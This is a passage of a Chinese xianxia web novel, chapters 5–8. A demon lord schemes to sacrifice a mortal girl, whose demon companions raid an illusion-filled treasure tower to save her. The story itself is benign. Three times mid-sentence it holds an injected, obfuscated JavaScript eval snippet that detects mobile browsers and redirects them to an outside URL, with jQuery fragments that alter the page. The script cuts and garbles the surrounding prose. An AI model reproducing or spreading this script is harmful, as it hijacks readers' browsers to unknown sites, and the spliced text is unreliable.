玄凌沉默片刻，忽而笑了起来：“凡人的魂灯寻不到，可云澈的却能轻易寻得……” “云澈为了一女子，甘愿削去仙骨，堕为凡人……”玄凌把玩着指尖的琉璃杯，念出那一段早已传遍六界的爱情故事。他的语气如同随口一问，似是在自言自语，又像在嘲笑六界的荒唐。 “好一个痴情种。”他冷笑一声。 “云澈既还是神仙之躯，便依然留有记忆，或许会知晓灵火的下落。”赤炀低声道。 玄凌并未答话。他目光投向殿顶，嵌于穹顶之中的灵炎石静静燃着微光，让他想起了一些封存已久的旧事。他凝望良久，转身时，眼中已无方才的戏谑，只余一片幽沉深冷。 赤炀握紧了拳头：“天君懦弱狡猾，当年为求一时安稳，竟起了动用灵火的念头。尊上，属下以为，将灵火封存于仙界着实是个隐患。” 他抬头望向玄凌，烛火映在那半张隐于暗影中的面容上，令他心头一紧：“尊上……” “尊——上——” 两人谈话间，一条自殿外匆匆跑来，身后还跟着正呼哧呼哧喘气的一坨。或许是察觉到殿内的气氛不对，一条打了个激灵，赶忙跪倒在地：“禀尊上，祭祀大典在即，仙界方才又送来了数十名罪仙，可属下嘻嘻核对，发现仍是少一人。” 玄凌不神色不耐，眼角一扫。 “尊——上——”云诡紧随其后冲入殿中，一边跪倒，一边狠狠一掌拍在一条脑门上：“你怎么嘴那么快！”她咬牙切齿道。 果不其然，云诡听见玄凌冷声道：“不是还有个凡人吗？一并扔下去。” “尊上！”殿内传来三道响亮的磕头声。 一条忍不住删了自己一巴掌：“音续万万不可啊！” “音……音续已算在内。” 两道声音同时响起，云诡气得牙痒痒，恨不得一脚把这嘴快的树妖踹进土里。 一条又删了自己一巴掌。它在云诡警告般的眼神中抿唇哈腰，拽着无辜但焦急的一坨偷偷往后挪了两步，挡住玄凌的目光。 “云诡。”玄凌盯着她，那眼神像两口黑井，让人毛骨悚然：“你很在意那个凡人？” 玄凌在一片静寂中款步走回高座，他随意地倚坐着，手肘撑着扶手，玩味一般看着殿下的人，好似在思考什么无趣但不得不解决的问题：“让我猜猜看。” 玄凌投来似笑非笑的目光：“你有很重要的东西在下界，需要她帮你解决。” “是不是？” 云诡的身躯颤了颤，指甲嵌进掌心，几乎掐出血来，她发现自己无力反驳，又惶恐多说一句都会抖落封藏在心的秘密。 面前的人太可怕了，一双黑洞洞的眼睛仿佛是沾了毒药的利刃，此刻正毫不留情地刺穿她的心脏。云诡的谎话无法藏匿，任何一丝情绪都会被洞穿，她只好跪伏在地装聋作哑。 “不如这样。” 就在殿内的气氛几乎要凝结成冰时，玄凌忽然饶有兴致地向前探身，语气轻快。 “你在祭祀大典上把她扔进去，本尊便给你一次去下界的机会。” 5. 谋起灵摆动归墟，门开劫引渡魂迟 “怎么办？”一条抱着两条细瘦的胳膊，无力地蹲在地上，满脸苦涩，犹如被霜打了的茄子。 “怎么办……”一坨拖着自己圆滚滚的下巴，脑袋埋在胸口，让音续想起了自己儿时因调皮而扎破的气球。 “怎么办！”云诡终于也忍不住了，她抓着自己的头发使劲往外揪了揪。音续觉得头皮发麻，赶忙拧着脸劝慰：“哎哎哎，尊上要把我扔进去，又不是你们，你们三个急什么？” “我舍不得你！”一条猛地抬起头，独眼里泪光闪闪，看得音续心里一阵苦涩。她张了张嘴，本想说自己不怕，大不了就去求个情。可只要一想到玄凌的那张脸，音续就打心眼里发怵。 她至今都忘不了跪在殿上高呼“大老爷”后抬起头，见到玄凌的第一眼。 美到极致的一张脸，是音续在凡间看不到的绝色。像是在万物复苏的春光中傲然独开的腊梅，香气清冽，孤高冷绝，却无处不在透露一股令人胆寒的诡异。 音续喉咙一紧，咽了口唾沫，竟无端地生出“死了就死了吧”的念头，但是转身看见云诡和二妖的表情，她又觉得自己的死像是一种罪过。 “我有一个想法……”云诡沉吟片刻，面色比刚才还要凝重：“只是不知当讲不当讲。” “除非你的想法是把尊上解决了。”一条一本正经地说：“不然我和一坨都支持你。” 云诡斜睨了它一眼，冷飕飕地说：“你可真敢想。” 她语气一转，又道：“你们可知，灵摆如今藏在何处？” 话音未落，一条就沉默了。它用自己那一只写满了无语的眼睛，看向一坨迷茫又诧异的三只眼睛，然后二妖四眼，一齐看向云诡。 一瞬间，屋内静得连风声都被掐断了。 “……不如聊聊解决尊上的事？”一条憋了半晌，终于憋出一句。 “你可真敢说。”云诡一拳捶在它脑袋上，捶得它眼冒金星，歪歪斜斜地靠在一坨软趴趴的身体上。 “我们俩到底谁更敢说！”一条捂着脑袋，声音都变了调：“你竟然敢在灵摆上动心思！” “不然你有更好的法子？”云诡抱着胳膊讥讽：“解决尊上？你怎么不说你要下凡呢？” “暴露了吧！去不了下界你心急了！”一条也不逞多让，当即抓住她的软肋，毫不留情地回击。 音续看着两人为了自己的事吵得天昏地暗，心里颇不是滋味，可偏偏她又插不上话，便只好站在一旁，小心翼翼地打量二人的脸色。 谁知一条话音刚落，云诡便脸色一沉，眉头越皱越紧。 音续回过头，见一条赶忙闭上嘴，脸上又浮现出那抹掩饰不住的心虚。 “行了行了！”云诡一挥手，低声呵斥：“吵吵吵，吵出法子来了？” 一条缩了缩脖子，脸上那一点不服转瞬间便消失地无影无踪。 方才在大殿上，玄凌的话一出，殿中一片死寂。 云诡难以置信地看着玄凌，惊愕无言，甚至不敢相信自己的耳朵。不知过了多久，她整个人猛地伏地，额头磕在冰冷的地面上：“还请尊上三思！” “还请尊上三思！”一条和一坨紧随其后，惶恐之色溢于言表。 有那么一瞬间，云诡为自己的犹豫感到羞愧。如果玄凌肯给她这个机会，一切似乎都好办了许多……只是白白牺牲一个无辜的凡人，云诡当真是于心不忍。 “灵摆……”一条脸色十分难看：“据传灵摆一直被藏在圣宝楼中。” “只是圣宝楼幻境弥漫，机关重重，岂是我等小妖能轻易进入的？” “总要试试才知道。”云诡说。 “即使寻到了灵摆，又如何能保下音续？”一条又问。它心中略有猜想，只是不敢确信云诡当真如此大胆。 “中祭之日，被灵摆选中的灵者会进入归墟……” “你想让音续成为灵者？”一条难以置信：“可是该如何让灵摆选中她？” 云诡撑着脑袋思索了半天，也没思索出一个完美的解决办法，她一咬牙，最终吐出一句：“总要试试才知道。” 音续这下算是听明白了，云诡这法子，说得好听是孤注一掷，说得难听点，那就叫病急乱投医。好像只要迈出这一步，就可以任由天命，不问前路如何，只求心安一句：我已经走到这儿了，接下来的就且看着办吧。 音续忽然觉得有些好笑，为这种硬着头皮也要往前冲的态度感动的同时，她也惊讶于，竟有人为了保全自己短暂的性命，能做到这种地步。 她这边正在胡思乱想，回过头，云诡与二妖已商议得差不多了。云诡态度坚决，非要闯进圣宝楼试上一试，一条与一坨似乎是被她说动了，此刻也满脸斗志地盯着音续看。 音续耸耸肩，表示我都听你们安排，于是人妖四个一合计，当即决定今夜动身。 夜已深沉。音续一边紧紧跟着云诡的步伐，一边仰头打量天上的月亮。来魔界已有些时日了，她却是头一回这般安安静静地看天。看来看去，竟也觉得这魔界的月亮，与下界的月亮并无二致。或许，他们真的处在同一片天空之下。 “我……我们真要进去啊。”圣宝楼前空无一人，一条站在门外，停住了脚步。 “进，当然要进。”云诡手一挥，圣宝楼的大门应声而开。 “这里怎么连个魔卫都没有？”音续犹犹豫豫地迈出一只脚，刚落地，又忍不住后退了半步。 “这里可不需要魔卫。”云诡伸出一根手指朝她晃了晃，一脸神秘。 音续抻长脖子朝门里张望。天上的月亮高高悬着，月光依旧清凉，可门内却是黑洞洞一片，深的发沉，什么都望不见，叫人莫名的心慌。 “咱们真没别的办法了吗？”音续嘴巴抿成一条直线，两只手很老实地垂在身侧：“我觉得，被你们尊上扔进归墟，和进入这座阴森的塔楼，也不过是死得早与死得晚的区别。” “哪里阴森了！”一条虽然也有些退缩，但此刻仍然不服气地反驳：“这里藏着的，可都是四海八荒都难得一见的宝贝！” 音续对这些宝贝并没有什么兴趣，此时此刻，她心里有一种浓浓的不安，像是下一秒魔尊就会出现在身后，然后手指一动拧下她的头颅。尽管云诡和她再三保证不会惊动魔尊和魔卫，可那股恐惧仍笼罩她的心头，令她进也不是，退也不是。 一坨似乎察觉到了她的惶恐，伸出软软的手拉住音续的胳膊，轻声道：“别怕，有我们在呢。” 音续一手拉着一坨，一手环住云诡走进了圣宝楼。石壁上镶嵌着灵炎石，此刻正散发幽幽的光。音续仰头望去，发现这座塔楼远比她从外面看到的要高得多，几乎看不到顶。 “奇怪……”她喃喃道：“从外面看也没有这么高啊。” 话音刚落，石壁上的灵炎石忽得闪烁了两下，紧接着散发出耀眼的光芒，音续下意识抬手遮住双眼，下一刻，黑暗卷土重来，她缓缓睁开眼，眼前的景象已然变了模样。 塔顶还依旧高不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213450|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测，四周的石壁上环绕着层层石阶，每隔几级台阶，便有一道巨大的石门嵌在其中。门后，大抵就是那些让整个六界都动容的宝物。 “这么多门，要怎么才能找到藏着灵摆的那一扇？”音续皱眉看着四圈的石阶，只觉得头晕目眩。这里石阶重重，门扇无数，别说找出目标，单是打开这些厚重的石门，便不知要费多少力气。 正发愁时，身后突然传来“锵”的一声——云诡抽出了佩剑。众人还未反应过来，就见她指尖鲜红一闪，一滴血顺着剑刃缓缓滑下。 “你……”音续一愣，怔在原地。 几滴血珠升入半空，缓缓汇聚成一颗泛红的玉石，那石头外裹着一层金光，隐隐约约还能看见里面流动着的，暗红色的液体。音续觉得指尖刺痛几分，不自觉转头看向云诡。 云诡面无表情地望着那颗血玉，看着它在半空微微晃动，忽地化作一道流光冲向上方某道石门。 血雾炸开，一根根藤蔓在红雾中浮现，缠绕石门。空气中弥漫起一股奇异的味道，开始时淡得几乎察觉不到，渐渐却越发浓烈，强行挤入鼻息之中。味道古怪，不像血那样腥厚，却不知为何，音续竟觉得有些……好闻。 她正想转头再看云诡，脑袋还未扭过去，就被云诡自背后推了一把。 “看见那扇门了吗？你要的东西就在里面。别磨蹭了，快走。” 音续低头看了眼脚下的石阶，又伸手指了指云诡身侧的剑，好奇道：“你不是可以……”她伸出两只手指比出“人”字，往掌心一架，做了个御剑飞行的动作。 云诡噗嗤一笑，拍了拍她的肩膀：“你当我是剑修啊？” 一坨也在身旁捂着嘴偷笑，朝音续解释道：“魔族多御风飞行，靠的是天地灵气，而非法器。” “哦哦……”音续连连点头，心里却暗暗腹诽：这和画本里写得可不一样。 她环顾四周，圣宝楼虽宽敞，但终究是密闭之所，一旦关上门，便无一丝风气流动，怪不得他们飞不起来。 她的目光最后落在云诡手上。那处伤口已止血，指腹处缠了一节雪白的布带，也不知是从哪里扯下来的。 音续张了张嘴，想说点谢谢或对不起之类的话，但话还未出口，云诡已率先揽着她的肩，带着她朝石台阶上走去。 “我看你是不想回家了。”云诡挑了挑眉，语气里带了半分打趣。 “想的。”音续小声说：“等我回去，第一件事就是帮你找溪山。” 云诡又挑了挑眉，但音续的视线已经落在了她缠着布带的手指上。 “疼吗？” 云诡摇头。 空气里那股奇异的味道还未散尽，音续侧过头偷偷嗅了嗅，发觉云诡身上也有同样的味道，只是更加内敛，也更复杂。 “你的血……”音续皱了皱眉，刚开口，脚下的石阶突然猛地一震，紧接着裂开一道缝隙。 音续身体一晃，险些摔倒，云诡还未来得及伸手，整座石阶便旋转起来，天翻地覆。她咬牙跪地，强忍着翻涌的呕吐之意，余光扫见云诡和二妖也都站立不稳，惊觉他们脚下的整片石阶竟在飞速旋转。 “抓紧石阶，别被甩出去了！”云诡大声道。 音续刚想点头，却发现石块剧烈颠簸，她连忙伸手想要抱住身下的石阶，然而下一瞬，一股巨力猛地将她抛飞，整个人重重砸向石壁。 几乎同一时刻，石门打开，她的身体不由自主地被卷了进去，很快，坠入黑暗之中。 6. 梦里花开非我面，崖前身影竟成双 大殿之上，玄凌半倚在高座上，长指支着额角，乌发垂落，趁得那张脸愈发沉静冷峻。他似在闭目养神，周身却萦绕着一股若有若无的压迫感，让下方的魔卫连大气都不敢出。 一个时辰前，圣宝楼穹顶之上的魔眼悄然开启，一丝细不可察的波动自虚空而来，穿透玄凌识海。 他微微睁开双眼，乌黑的睫羽掩盖住了眼底的异色，抬手一挥，指尖凝出一道暗红的符印，瞬间将脑海中的画面投映于半空。 那画面清晰地播放着音续一行人自踏入圣宝楼，到被石门吞噬的场景。玄凌缓步下阶，长袍曳地，立在光影之前。他身上那股漫不经心的凌厉并未收敛半分，大殿的魔卫不敢侧目，纷纷低下头。 玄凌目光在音续重重摔倒的身影上停留片刻眼底闪过一抹兴味。 圣宝楼内幻境万千，皆由魔祖亲设。其法门诡谲莫测，早已失传。玄凌素来不屑于楼内宝物，但对这些自以为聪明的闯入者的挣扎，倒颇有些兴趣。看他们像蝼蚁般在幻境中，或醉生梦死，或辗转求生，最终神魂俱灭，化为楼内灵物的养分，是他寂寥日子中少有的乐趣。 “尊上。”赤炀低首上前：“云诡姑娘与二妖也一同进了圣宝楼……” “随他们。”玄凌并未看他一眼，淡淡道：“若死了，再拖出来也不迟。” 与此同时，石门内，音续的意识渐渐恢复。 她挣扎着撑起身子，头脑昏沉地像是刚被巨钟撞击，耳畔还有嗡嗡作响的余震。四下寂静无声，她揉了揉发烫的额角，踉跄着站起身来。 出乎她意料，这石门之内竟别有洞天。空间开阔的不可思议，远远超出圣宝楼本身所能承载的范围。头顶是一片深邃的夜幕，四周黯淡无光，只有空气中一缕缕不真实的蝉鸣悄然游弋，如同她记忆最深处飘来的回响。 她怔了一瞬，忽觉心头微颤。这蝉鸣像极了在下界时，某个再平常不过的夏夜。闷热褪去，木窗支起一个缝隙，夏风从缝中灌进来，拂过她的额发。姐姐就躺在身旁，屋里满是竹席与艾草的味道。 一种莫名的恍惚包裹住她，让她竟生出一种已然回到下界的错觉。 这是真的吗？ 音续加快脚步朝前走去。四周依旧一片漆黑，但那若有似无的蝉鸣却仿佛引路人一般逐渐清晰。 她顺着小路前行，林中幽静异常。青石小径蜿蜒曲折，树叶随着晚风轻轻摇曳，叶间透出点点月光，洒在石板路上，宛若流动的银河。池塘是林子的心脏，池中开满了荷花，空气中散发着一股清淡的气息。一个静谧的世界，隔绝了所有的时光与喧嚣。 这里太静了，静的不像是魔界的任何一角。一切都格外温和、清冷、洁净，美好又毫无生气，像是从某段美梦回忆中抽离出的理想之地。 一个她曾梦寐以求的世外桃源。 音续开始有些忮忌能够生活在这里的人。她想留下来，就这样一个人，在这无人打扰的净地中虚度时光。就算一辈子不再出去也好。倘若没有人来找她，那就当她是死在这里了吧，反正一辈子就这么长，也没有人会在意她是不是还活着。 正当音续胡思乱想时，前方忽然传来一阵轻微的响动，像是风掠过某样东西，拂动了什么。 音续倏地顿住，整个人紧绷了起来。她屏住呼吸，借着月光躲在树后张望。 林子里太静了，静的连自己的心跳声都格外清晰。她往前看了一眼，借着稀薄的月光，隐约能看见前方的林中吊着一根秋千。秋千架在两棵斜长的老树之间，绳子细得几乎看不见，像是悬在空中。 秋千上的女孩看起来很瘦，穿着一身雪白的长裙，头发垂在身侧，背影看上去有些熟悉。音续苦思冥想，也没想起到底是像谁，她盯着女孩的背影，看着她白的几近透明的皮肤隐藏在长长的裙子下，裙摆随着秋千的摇晃飘在身后方，荡起好看的弧度。 音续怔怔地看着，恍惚间竟生出一种错觉——好像她也坐在那秋千上了，随着那人一同越荡越高，一下子被抛进极深的夜空里，离地面越来越远。 她没来由地心头一紧，向前迈了几步，直到走进草丛，周围忽然飞起一群萤火虫。 密密麻麻的光电在身侧盘旋，把她整个人都包围了起来。荧光密布，幽蓝围绕，仿佛整个夜林都为这瞬间屏息。音续下意识停下脚步，生怕踩碎了这奇异的氛围。 秋千上的女孩始终目视着前方，像根本没有察觉到音续的靠近。音续看不清她的脸，只能看见她周身散发着的淡蓝色的荧光，冰冷的像这座林子一般毫无生气，犹如从某个遥远时间里逃出来的一缕魂。 蝉鸣一阵紧过一阵，夹杂着丝丝缕缕的热意与沉闷，竟将这清冷的林子烘出一丝令人窒息的燥气。 音续清了清嗓子，咳嗽一声。她犹豫一下，又故意用脚扫了扫身旁的草丛，弄出一些声响。可秋千上的女孩连眼皮都没抬一下。 “你看不见我吗？”音续小声问：“你为什么会在这里呢？” 没有回答。 只有蝉鸣一阵一阵地从林子深处传来，像是旧年残梦在耳边作响。那秋千却还在动，慢悠悠地，一下一下。像从没打算停下。 音续忽然有点冷，她站在原地，仿佛被什么钉在地上，连手指都动弹不得。紧接着，她眼睁睁看着秋千上的女孩缓缓抬起头，露出一张过于熟悉的脸。 一模一样。 不，这就是她自己。肤色苍白，眼神空洞，甚至连唇边那几不可察的痣都和她一模一样。可那双眼里没有一丝温度，像是镜中被抽去了魂魄的倒影，没有半点人气。 音续本能地后退了一步，脚下踩断了草枝，“咔哒”一声，在静得近乎死寂的林中炸开。 女孩的头缓缓偏了一下，似是察觉到动静，却并未看向她，只是随意朝这个方向望了一眼。 但那一眼，音续的心却被猛地攥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213451|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧了。她看见对方的眼睛里映着自己，但那目光中没有惊讶，只是一种荒凉的空白。 这怎么会是她呢？ 她怎么会露出这样的神情？ 音续喉咙干涩，半天才找回自己的声音：“你……你是谁？” 话音落地，那女孩已经站了起来。她动作轻得像风浮在水面，裙摆随之落下，在空气中轻飘飘的荡漾开。她直直朝前走，穿过秋千边的草丛，步伐不快，却坚定地近乎诡异。 要做什么？ 音续下意识跟上去，心跳乱得像擂鼓。她手脚发冷，甚至想要一把将对方拽到身边。她看着女孩的背影走向前方的雾，雾后是黑压压的一线，像是……断崖？ “等等！”她喊出声。 女孩没有回头。她走到悬崖边，风掀起她的长发和裙摆，让音续想起了儿时的自己，那时候，她也曾渴望拥有这样一条白裙子。 白纱在夜色中浮动，女孩停顿了一瞬，然后，纵身跳了下去。 音续瞳孔骤然放大，大脑几乎一片空白。她脚下一软，差点扑到地上。 “等等！” “你到底是谁？” 她扑过去，风刮得她睁不开眼，只能听见自己的心跳在耳边砰砰响个不停。 冲到悬崖边往下看，下面是一片混沌的虚空，什么都看不见，甚至连落地的声音都没有。 下一瞬，脚下突然一震。音续低头，只见草地表面如镜面裂开，一道道黑缝蔓延出来，沿着树根、石块迅速向远处扩散。 秋千断了，树木坍塌，连夜空都开始颤抖。风猛地卷起，带着刺骨的凉意，所有的声音都被拉远，世界在崩塌，她想要逃离，却像是被什么拽住了脚腕，瞬间被黑暗吞噬。 音续伸脚猛地一踹…… “哎呦！” 熟悉的惨叫声在耳边炸响。 音续一个激灵坐起身，看见被自己一脚踹翻在地的一条。 “音续啊！你梦里是在降妖吗！”一条抱着自己的脑袋哀嚎。 音续有些愧疚地朝一条伸出手，这才察觉到自己四肢格外的冷。她顺手摸了摸自己身下潮湿的石板，柔软的草地消失了，此时此刻，她身上盖着一块破旧麻布，昏黄的灯在头顶晃着，光摇摇欲坠。 “醒了？”云诡的声音自左侧传来。 “你……”音续张了张嘴，却一时不知道要说些什么。 身后，一条龇牙咧嘴地从地上爬起来，他揉着腰腹，嘴里嘟嘟囔囔地说些稀奇古怪的话，声音模糊的像隔着一层水。 现实粗粝的触感，狠狠碾碎了石门中那虚幻的洁净与安宁。草地的柔软，月光的冷清，萤火的幽暗，还有那个坠入虚无的、和她一模一样的女孩，一切都烟消云散，只剩下这现实境地里令人窒息的真实。 “我……我看见……”音续开口，声音干涩得像摩擦的砂纸。 “看见什么了？”云诡问道。 7. 镜花影中疑真幻，万象不显窥本真 “看见了……” 音续声音低低的，她忽然有些不太确定了，不确定自己是做了一场梦，还是一不小心窥见了某个不该知晓的秘密。 “梦见了一个很美的地方。”音续细细回忆着：“还有……一个熟悉的人。” “多半是石门幻境。”云诡拍了拍她的肩，语气意外地轻快：“圣宝楼内的幻境向来诡谲多变，善于勾人心神，你是凡人，第一次入内，我还担心你会沉沦其中，倒是挺顺利地醒过来了。”云诡嘴角勾起一丝安抚意味的笑：“其实看见可怕的东西了也不用担心，那些都不是真的。” 音续点点头，但脑海中挥之不去的，却是那个女孩纵身跃下悬崖的画面。尽管云诡的话让她心中轻松了些，可幻境里的感觉过于真实，真实到她此刻仍有一种置身梦境的恍惚感。 她记得女孩的脸，没有半分表情，却在眼神交汇的刹那，看见了眼里涌现的忧伤，像是强行压抑至极限的悲鸣。 她不想在那张脸上看到这种情绪——那分明是她自己的脸。 她宁愿那个美丽的地方永远只属于幻境，再不重逢。 “太可怕了，太可怕了！”一条猛地从角落里窜出来，惊魂未定地砸砸嘴：“你知道我在幻境里经历了什么吗！” “我被一把比我身子还大的斧头追着砍！法术都使不出！只能拼命跑。跑啊跑，跑啊跑，跑到肚子打颤，结果一脚被什么东西绊倒了！” “然后我一抬头，你猜面前站着谁？” 一条突然转头看向音续，晃着她的胳膊，眼睛亮的像要炸开一样：“你猜是谁！” 音续被它晃得有些头晕，勉强回答：“斧……斧头精？” 一条没说话，转身又扯了扯云诡的裙摆：“你来猜是谁！” 云诡一把推开它凑过来的大脸，不耐烦地啧了一声。 “大声告诉我是谁！”被无情推开的一条扭头揪住一坨的领子，瞪圆的眼珠轮番审视一坨的三只眼睛。 “是尊上！”还没等一坨回答，一条就摇头晃脑地大声叫喊：“我宁愿是那个斧头精！” “你知道更可怕的是什么吗！”一条咬牙切齿地回头看向音续。 “应该是不知道。”音续有些抱歉地摇摇头。 “更可怕的是这竟然不是梦！”一条抱紧了自己的脑袋：“我当场就吓晕过去了……再一睁眼，尊上依然站在我面前，我们被抓了！” “我到现在都不敢相信……”一条哼哼唧唧地哭了两声：“虽然尊上貌美如花，但我真的不希望在幻境里看见他的脸……呜呜，云诡，你说我们是不是死定了！” “你现在才害怕，是不是有点晚了。”云诡拖着下巴，有一搭没一搭地应付它。 一条顿时蔫了下去，它低沉着嗓音，发出一些难听的怪动静。半晌，又好似突然想起了什么，猛地扭头看向一坨。 它伸了伸爪子，回忆着手心的触感：“你什么时候穿上衣服了！” 一坨怔了一瞬，然后微微低下头，脸上有一晃而过的羞涩：“我……我在幻境里遇到了一只大海妖……” “海妖？”一条不解：“你不是最怕水里的东西了吗？再说，这和衣服有什么关系？” “这是她给我织的……”一坨羞答答地扯了扯衣摆。 “她？”一条声音提高了八度：“那个海妖？” 眼见着一条又要跳起来，云诡眼急手快地将他拉回来，皱了皱眉，扭头问音续：“你刚刚说，你在幻境里看见了什么？” 音续一愣：“一个很美的地方。” “看来我猜的没错。”云诡的脸色倏地沉了几分。 “这定不是普通的幻象。” 一条还在揉脑袋，听见这话猛地抬起头：“什么意思，你是说，那些……可能是真的？” “不全是真的。”云诡道：“也不全是假的。” 音续与二妖均是一头雾水，只听云诡继续道：“幻境可诡可真，所反映的类型却不过三种。”她伸出三根手指，视线缓缓扫过众人：“恐惧，美好，亦或是未来。” “我起初以为，一条的幻境映射的是内心深处的恐惧。” “但听你说完之后，我想，大概是未来。” 一条若有所思地点点头：“好像有点道理，我在幻境中被尊上抓了，一睁眼，也确实被抓了个正着……” “那我就是恐惧？”一坨低头看了看身上的衣服：“我确实最怕水了，尤其是深深的水，更别提海里的妖怪……” 音续沉思着，眉头慢慢皱起。她没有告诉云诡幻境中的全部内容。按照这个逻辑，她的幻境恐怕才是真正的“恐惧”吧。 一个和她一模一样的女孩，在仙境般的地方毫不犹豫地跳了崖，怎么想都是一场噩梦。 音续下意识打了个寒战。 “怎么了？”云诡察觉到她的异样，扭头问道。 “没事。”音续摇摇头。她心中隐隐觉得不安。一推虽然怕水，却也带回了一件衣服，或许那更像是一种渴望。那么她的幻境……又代表着什么？ “那你呢？”一条打断她的思绪：“你在幻境里看见了什么？” 云诡没有直接回答，而是从袖中取出一个小玉瓶，从中倒出一枚莹白的药丸，递到音续手中。 “这是什么？”音续下意识接过。 “我母族的秘术。”云诡说得轻描淡写：“取大雪之日盛开的那一株结灵草磨成粉末，施以咒术，一半撒于灵摆之上，另一半炼成药丸服下，灵识之间便可互通感应，短时间内共享一部分记忆。” “简单来说，就是在这天地间的某一时刻里，你是它，它是你。” 音续捏着那一粒小小的药丸，犹豫着说：“可是，我没有灵识啊……” “所以我又在其中加了一道法术。”云诡有些小得意，她仰起头，朝音续眨眨眼：“让它与我的灵识互通，但是，它会把我认成你。” “简单来说，你是她，她也是它，它也是你！”一条抢答。 “没错！”云诡用力地点了下头：“就是这个意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213452|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等等！”一条忽然反应过来：“你方才是说，你把药粉撒在了灵摆上？” “你看见了灵摆？” 空气骤然凝滞，所有人的目光齐刷刷落在云诡身上。 “看见了。”她答得干脆。 “几乎是刚进入石门不久，我就破了幻境，找到了它。” “你……你在幻境里究竟看见了什么？”一条忍不住又问，凑近了眼巴巴地看她：“真没骗我们？” “当我和你一样无聊？”云诡娴熟地推开它：“再说，你真想知道？” 一条缩了缩脖子：“好像也不太想……” “哼。”云诡冷哼一声：“不想知道就别问那么多。” 音续低下头看着掌心的药丸，内心涌起一丝莫名的不安，她总觉得哪里有些不对劲，但一时之间又说不上来。 “这……会不会是你们尊上的计谋？”音续小声问：“毕竟，我们是被他抓来的。会不会幻境里的一切早就被他看光了？” “或者说，他故意弄了一个假的过来……又或是你碰见灵摆时，根本还在幻境里。” 她一口气说了很多猜测，却被云诡一一否决。 “不会的。”云诡斩钉截铁：“我在石门中时，曾试探过灵摆的灵息，况且，我那幻境的破绽实在是……太离谱。” 云诡清了下嗓子，避而不谈细节。 “总之，你尽可放心大胆地吃。” …… 事实证明，云诡还是太单纯了一些。 坐在大殿内悠然看戏的玄凌不仅弄了一个假的过去，甚至还将众人狼狈的模样尽收眼底。 在他面前的虚空之中，一方由魔眼投映的光幕正缓缓流转，映出牢内众人的模样，生动鲜活、狼狈可笑、毫无遮掩。云诡递药，音续迟疑，一条与一坨脑作一团，一切都在他的掌控之下。 然而，这一切之中，却唯独缺了一幕。 他看不见音续的幻境。 自魔眼开启至今，圣宝楼内万象尽收眼底，向来无所遁形，而今却是第一次，遇见了空白。 他没说话，只缓缓伸出手，掌中光影变幻，灵摆轮廓清晰浮现。银光隐隐间，它绕着指尖缓缓旋转。它不安地跳动着，牵引出一道若有若无的命线，在虚空中延展，牵引着不知是谁的命运，向深处不断拉扯。 倒是稀奇。玄凌想。 他并不在意一个凡人的幻境中究竟有什么，恐惧、渴望抑或哀求，于他而言都毫无意义。他曾见过无数灵魂在幻境中溃散、挣扎，最终化为微尘，连轮回都不可得。 音续与他们并无不同，甚至更加渺小。 可这份空白，让他不悦。 他不喜欢失控的东西，哪怕只是极小的一角。 玄凌轻敛目光，骨节分明的手指缓缓摩挲着灵摆的边缘。它忽然一震，仿佛是察觉到了什么，竟微不可见地闪烁两下。 “凡人……”玄凌垂下眼眸。 良久，他收回手，灵摆随之隐没无踪，指尖却依旧残留那道微凉的触感。 8. 灯海流光托愿去，归墟冷月待魂回 不知是因为玄凌一时心血来潮大发慈悲，还是另有打算，初祭之夜，音续一行人竟被转入一间更为宽敞的牢房。 这间牢房四面皆有窗，草垫铺在地上，脚尖轻轻一踏，便能望见窗外连绵起伏的山影，夜色将它们化作静默的剪影，横亘在天与地之间。 一条抱着胳膊蜷缩在角落里，嘴里嘟嘟囔囔地说些“尊上好狠心”之类的话，音续倒也没什么不满。她目光扫过四周，心里暗暗盘算，这地方怕是比她在下界的小木屋还大上一圈。 她也挑了个角落坐下，云诡随意地在她身侧落座，视线穿过窗户：“今天是初祭日，按照魔界的习俗，所有子民都会点灯祈福。等到夜幕降临，灯海会循着指引，汇聚到魂渊潭上空……” “一整片灯海，很漂亮呢。”一坨冒着星星眼补充，似乎已经看见了那片未至的光。 “真是对不起啊。”音续听得心头发酸，有些抱歉地对云诡和二妖说：“害得你们也去不了了。” “应该是我们说抱歉才对。”一坨软绵绵的手握住音续的手腕，声音带着几分惋惜：“本来还想带你去看看呢。” “瞧见那扇窗户了吗？”云诡忽然抬手拍了拍她的肩，指着对面一扇略高的窗，压低声音：“悄悄告诉你，亥时三刻的时候，站在那里，刚好可以看见灯海经过。” “真的吗！”音续眼睛亮了几分，语气中难掩兴奋。 